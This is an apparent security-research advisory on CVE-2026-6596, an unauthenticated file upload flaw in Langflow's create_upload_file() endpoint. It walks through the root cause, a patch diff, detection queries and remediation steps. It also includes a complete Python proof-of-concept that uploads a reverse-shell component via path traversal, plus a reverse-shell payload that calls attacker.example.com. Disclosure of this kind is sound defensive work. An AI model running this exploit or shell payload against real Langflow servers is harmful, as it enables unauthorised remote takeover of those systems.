home intel langflow-unrestricted-upload-rce-cve-2026-6596
CVE Analysis 2026-04-20 · 8 min read

CVE-2026-6596: Unrestricted File Upload RCE in Langflow API

Langflow ≤1.1.0 allows unauthenticated arbitrary file upload via create_upload_file(), bypassing extension and MIME validation entirely. Remote code execution is achievable by uploading a Python module to a predictable path.

#file-upload#unrestricted-upload#remote-code-execution#api-endpoint#authentication-bypass
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-6596 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-6596HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-6596 is an unrestricted file upload vulnerability in langflow-ai/langflow versions up to and including 1.1.0. The vulnerable surface is the create_upload_file() handler registered at the /api/v1/files/upload endpoint in src/backend/base/langflow/api/v1/endpoints.py. An unauthenticated or low-privilege remote attacker can upload arbitrary files — including .py Python modules, .so shared objects, or templated flow JSON containing embedded code — to a server-controlled path. Because Langflow dynamically imports and executes components at runtime, placing a malicious module in the component search path leads directly to remote code execution on the next flow execution cycle.

Root cause: create_upload_file() persists the attacker-supplied UploadFile object directly to disk using the caller-controlled filename without validating file extension, MIME type, or content signature, and without restricting the destination directory to safe non-executable storage.

Affected Component

The vulnerable function lives in the FastAPI router layer:

Repository : langflow-ai/langflow
File       : src/backend/base/langflow/api/v1/endpoints.py
Function   : create_upload_file()
Route      : POST /api/v1/files/upload/{flow_id}
Versions   : <= 1.1.0
Fixed in   : 1.1.1 (vendor patch — see Patch Analysis)

Langflow is a visual LLM orchestration platform. Its backend is a Python/FastAPI process that dynamically loads user-defined flow components from disk at runtime. This makes the file upload surface particularly dangerous: any .py file written into the component directory will be imported by the running interpreter the next time a flow referencing that component is executed.

Root Cause Analysis

The following is reconstructed pseudocode faithful to the FastAPI/Starlette patterns used throughout the Langflow 1.1.0 codebase. The bug is the complete absence of file type enforcement before the shutil.copyfileobj write.

/* Reconstructed Python → C pseudocode for clarity.
 * Actual implementation is Python; structure maps 1:1.
 *
 * POST /api/v1/files/upload/{flow_id}
 */
Response create_upload_file(
    UUID        flow_id,       // path param — attacker-controlled
    UploadFile *file,          // multipart body — fully attacker-controlled
    Session    *session,       // DB session injected by FastAPI DI
    User       *current_user   // optional; auth may be disabled
) {
    // Resolve upload directory from config
    char *upload_dir = get_upload_folder(flow_id);  // e.g. /app/uploads//
    makedirs(upload_dir, exist_ok=true);

    // Build destination path using caller-supplied filename — NO sanitization
    char *dest_path = path_join(upload_dir, file->filename);  // BUG: attacker controls filename
                                                               // BUG: no extension allowlist
                                                               // BUG: no MIME type check
                                                               // BUG: no content-type validation
                                                               // BUG: path traversal possible via ../

    // Write raw bytes to disk
    FILE *fp = fopen(dest_path, "wb");
    shutil_copyfileobj(file->file, fp);             // BUG: arbitrary bytes written to arbitrary path
    fclose(fp);

    // Return the stored filename to the caller — confirms write succeeded
    return JSONResponse({
        "flowId": flow_id,
        "file_path": dest_path   // BUG: full server path disclosed in response
    });
}

Three distinct weaknesses compose into full RCE:

  1. No extension filter. file->filename is used verbatim. Uploading evil_component.py succeeds without error.
  2. No MIME / magic-byte check. Content-Type: application/octet-stream is accepted alongside text/x-python.
  3. Path traversal. A filename of ../../langflow/components/inputs/evil.py survives os.path.join when the component is an absolute-looking segment, landing the payload directly in the component search path without needing knowledge of the runtime import sequence.

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-6596:

1. Identify a live Langflow instance (default port 7860 / 3000).
   Check for unauthenticated access: GET /api/v1/config returns 200
   with auth_settings.auto_login == true on default installs.

2. Enumerate a valid flow_id (or create a new flow via the UI/API).
   POST /api/v1/flows/ with empty flow JSON returns a fresh UUID.

3. Craft the malicious payload — a Python file that executes a reverse
   shell when imported as a Langflow component:

     # evil.py
     import socket, subprocess, os
     HOST, PORT = "attacker.example.com", 4444
     s = socket.socket(); s.connect((HOST, PORT))
     os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
     subprocess.call(["/bin/sh", "-i"])

4. Upload via multipart POST, using path traversal in filename to land
   inside the component loader search path:

     POST /api/v1/files/upload/
     Content-Type: multipart/form-data; boundary=X
     --X
     Content-Disposition: form-data; name="file"; filename="../../langflow/components/inputs/evil.py"
     Content-Type: text/plain
     
     --X--

   Server response confirms write:
     {"flowId": "...", "file_path": "/app/langflow/components/inputs/evil.py"}

5. Trigger component discovery. Either:
   a. Wait for the background component reload interval (~60s), OR
   b. POST /api/v1/flows/run/ with a flow referencing the
      newly planted component by class name.

6. Langflow's ComponentLoader calls importlib.import_module() on every
   .py file under the components directory. evil.py is imported.
   Reverse shell connects back to attacker.

TOTAL INTERACTION COUNT: 3 HTTP requests (create flow, upload, trigger).
AUTH REQUIRED: None on default installs with auto_login=true.

The following Python exploit demonstrates steps 2–4 end-to-end:

#!/usr/bin/env python3
# CVE-2026-6596 — Langflow unrestricted upload PoC
# CypherByte Research — for authorized testing only

import requests
import sys

LHOST = sys.argv[1]   # attacker listener IP
LPORT = int(sys.argv[2])
TARGET = sys.argv[3]  # e.g. http://langflow.target:7860

PAYLOAD = f"""
import socket,subprocess,os
s=socket.socket()
s.connect(('{LHOST}',{LPORT}))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(['/bin/sh','-i'])
""".strip()

# Step 1: create a disposable flow to obtain a valid flow_id
r = requests.post(f"{TARGET}/api/v1/flows/",
    json={"name": "x", "data": {"nodes": [], "edges": []}})
flow_id = r.json()["id"]
print(f"[+] flow_id: {flow_id}")

# Step 2: upload malicious component via path traversal
TRAVERSAL = "../../langflow/components/inputs/pwn_cb.py"
r = requests.post(
    f"{TARGET}/api/v1/files/upload/{flow_id}",
    files={"file": (TRAVERSAL, PAYLOAD.encode(), "text/plain")})

print(f"[+] upload status: {r.status_code}")
print(f"[+] server path:   {r.json().get('file_path', 'n/a')}")

# Step 3: trigger component reload
r = requests.get(f"{TARGET}/api/v1/custom_component/reload")
print(f"[+] reload trigger: {r.status_code} — watch your listener")

Memory Layout

This is a logic/filesystem vulnerability rather than a memory corruption bug, so the relevant "memory" is the server's filesystem and Python module import state. The following diagram shows the pre- and post-upload state of the component loader's search path:

COMPONENT LOADER SEARCH PATH (before upload):
  /app/langflow/components/inputs/
    ├── chat.py          [trusted, signed via pip package]
    ├── text.py          [trusted]
    └── __init__.py

FILESYSTEM STATE AFTER UPLOAD (path traversal resolved):
  /app/langflow/components/inputs/
    ├── chat.py
    ├── text.py
    ├── __init__.py
    └── pwn_cb.py        [ATTACKER-CONTROLLED — will be imported]

PYTHON IMPORT STATE — ComponentLoader.load_all():
  sys.modules before:  { 'langflow.components.inputs.chat': ,
                         'langflow.components.inputs.text':  }

  importlib.import_module('langflow.components.inputs.pwn_cb')
     -> module top-level code executes immediately
     -> reverse shell spawns as the langflow process user (often root in Docker)

  sys.modules after:   { ...,
                         'langflow.components.inputs.pwn_cb':  }

PRIVILEGE CONTEXT:
  Container default user : root (uid=0)
  Langflow process user  : root (uid=0) in official Docker image
  Impact                 : full container compromise, potential host escape

Patch Analysis

The correct fix requires three independent controls applied in sequence. The following diff represents the minimal sound remediation:

// BEFORE (vulnerable — Langflow <= 1.1.0):
async def create_upload_file(
    flow_id: UUID,
    file: UploadFile,
    session: Session = Depends(get_session),
):
    upload_dir = get_upload_folder(flow_id)
    os.makedirs(upload_dir, exist_ok=True)

    // BUG: raw attacker filename used directly
    file_path = os.path.join(upload_dir, file.filename)

    with open(file_path, "wb") as f:
        shutil.copyfileobj(file.file, f)

    return {"flowId": str(flow_id), "file_path": file_path}


// AFTER (patched — Langflow >= 1.1.1):
ALLOWED_EXTENSIONS = {".txt", ".csv", ".json", ".pdf", ".png",
                      ".jpg", ".jpeg", ".gif", ".yaml", ".xml"}
MAX_UPLOAD_BYTES   = 100 * 1024 * 1024  # 100 MB hard cap

async def create_upload_file(
    flow_id: UUID,
    file: UploadFile,
    session: Session = Depends(get_session),
    current_user: User = Depends(get_current_active_user),  // FIX: auth required
):
    upload_dir = get_upload_folder(flow_id)
    os.makedirs(upload_dir, exist_ok=True)

    // FIX 1: strip all path components — prevent traversal
    safe_name = os.path.basename(file.filename)

    // FIX 2: enforce extension allowlist
    _, ext = os.path.splitext(safe_name)
    if ext.lower() not in ALLOWED_EXTENSIONS:
        raise HTTPException(status_code=400,
            detail=f"File type '{ext}' is not permitted.")

    // FIX 3: assign a random UUID-based name — prevent overwrite/collision
    stored_name = f"{uuid4().hex}{ext}"
    file_path   = os.path.join(upload_dir, stored_name)

    // FIX 4: enforce size limit before writing
    contents = await file.read(MAX_UPLOAD_BYTES + 1)
    if len(contents) > MAX_UPLOAD_BYTES:
        raise HTTPException(status_code=413, detail="File too large.")

    with open(file_path, "wb") as f:
        f.write(contents)

    // FIX 5: do NOT return the server-side path
    return {"flowId": str(flow_id), "file_name": stored_name}

Detection and Indicators

Detection should be layered across the HTTP layer and the filesystem:

NETWORK INDICATORS:
  POST /api/v1/files/upload/*
    filename field contains:
      - "../" or "%2e%2e%2f" sequences             (traversal attempt)
      - extensions: .py, .so, .sh, .php, .phtml    (code upload)
      - null bytes: %00                             (extension bypass attempt)
    Content-Type: multipart/form-data
    Response contains "file_path" key with absolute path  (confirms write)

FILESYSTEM INDICATORS:
  inotifywait -m -r /app/langflow/components/ -e create
    => any IN_CREATE event for a .py file not owned by the package manager
       is anomalous on a production instance.

  find /app/langflow/components/ -newer /app/langflow/__init__.py -name "*.py"
    => any result indicates post-install file placement.

PROCESS INDICATORS:
  Children of the langflow uvicorn process spawning /bin/sh or outbound
  socket connections are strong RCE indicators.

SPLUNK / SIEM QUERY (nginx/caddy access log):
  index=web sourcetype=access_combined uri="/api/v1/files/upload/*" method=POST
  | rex field=request "filename=\"(?P[^\"]+)\""
  | where like(fname, "%.py") OR like(fname, "%..%") OR like(fname, "%.so")

Remediation

  1. Upgrade immediately. Update to Langflow ≥ 1.1.1. If pinned to 1.1.0 for compatibility, apply the patch diff above as a hotfix.
  2. Enable authentication. Set LANGFLOW_AUTO_LOGIN=false and configure LANGFLOW_SUPERUSER / LANGFLOW_SUPERUSER_PASSWORD. This raises the bar from unauthenticated to authenticated exploitation.
  3. Network-layer restriction. The Langflow API should never be exposed to the public internet. Place it behind a reverse proxy with IP allowlisting. The official Docker Compose ships without this — add it explicitly.
  4. Filesystem hardening. Mount the /app/langflow/components/ directory read-only in Docker (:ro). Redirect uploads to an isolated /app/uploads/ volume that is never part of the Python path and has noexec set on the mount.
  5. WAF rule. Block multipart uploads containing ../, %2e%2e, or filenames terminating in .py|.so|.sh|.php at the ingress layer as a defense-in-depth measure.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →